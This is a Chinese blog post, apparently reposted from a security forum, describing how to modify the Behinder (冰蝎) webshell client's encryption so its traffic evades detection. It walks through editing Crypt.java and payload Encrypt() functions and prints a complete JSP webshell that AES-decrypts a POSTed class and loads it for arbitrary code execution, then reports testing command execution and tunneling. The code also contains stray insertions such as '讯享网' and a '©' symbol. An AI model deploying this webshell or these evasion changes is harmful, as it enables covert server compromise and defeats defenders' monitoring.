前言
感觉冰蝎流量魔改的文章比较少,我自己琢磨了一下,感觉简单地做个流量魔改并不复杂,发出来供大家参考。我自己是个Java笨比,有问题的地方欢迎大佬们评论区指正共同学习。
正文
0x00 冰蝎源码
冰蝎源码的获取,可以下载冰蝎,用idea自带的反编译工具去反编译,我这里直接用github搜到的别人整理好的反编译代码了(https://github.com/x1a0t/Behinder-Source)
0x01 Crypt.java的修改
(1)加密函数
在Crypt.java中,可以修改Encrypt、EncryptForPhp这类加密函数的逻辑,比如在返回结果数据前,对结果做自定义的加密处理。我这里的例子就是在原有的AES基础上做了个base64编码。
note:public static byte[] Encrypt(byte[] bs, String key, String scriptType, int encryptType)
讯享网
(2)解密函数

0x02 payload的修改
我自己对jsp马做了个简单的跟踪调试,发现解密函数解密的流量,应该是被客户端塞进去的payload里的xxx.class发出来的,这些流量发出来之前会调用payload里xxx.class的Encrypt()函数做个流量加密。所以这里的思路是,把payload里存在Encrypt()函数的xxx.class的Encrypt()函数加密逻辑都修改一下,就能贯通整个加解密通讯流程了。
具体操作还是以jsp增加base64编码举例子:
因为演示的是jsp的部分,就去修改net.rebeyond.behinder.payload.java下面的Java代码文件,找到里面的Encrypt()函数(payload里的Java代码,挨个找找改一下,并不是每一个文件都有Encrypt,这里没有就不管),去修改加密逻辑就行了
0x03 webshell马子的修改
以jsp为例,这里就是在原本的base64解码里又套了一层base64解码:
讯享网<%@page import=“java.util.,javax.crypto.,javax.crypto.spec.*”%><%!class U extends ClassLoader{U(ClassLoader c){super©;}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals(“POST”)){String k=“e45e329feb5d925b”;/该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond/session.putValue(“u”,k);Cipher c=Cipher.getInstance(“AES”);c.init(2,new SecretKeySpec(k.getBytes(),“AES”));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(new String(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))))).newInstance().equals(pageContext);}%>
0x04 打包与测试
用maven做package打包,完成后要用的是名字长的那个jar包(Behinder-3.0-beta-11_t00ls-jar-with-dependencies.jar)
本地运行,测试(命令执行、内网穿透等功能正常,不过数据库连接功能拉闸了):
最后✦

有两个还没解决的东西:
1.C#部分的dll文件处理
2.数据库连接功能出现了bug(暂时还没去调试)
欢迎大佬们在留言指教
文章来源:先知社区
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END

多一个点在看
多一条小鱼干
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/192544.html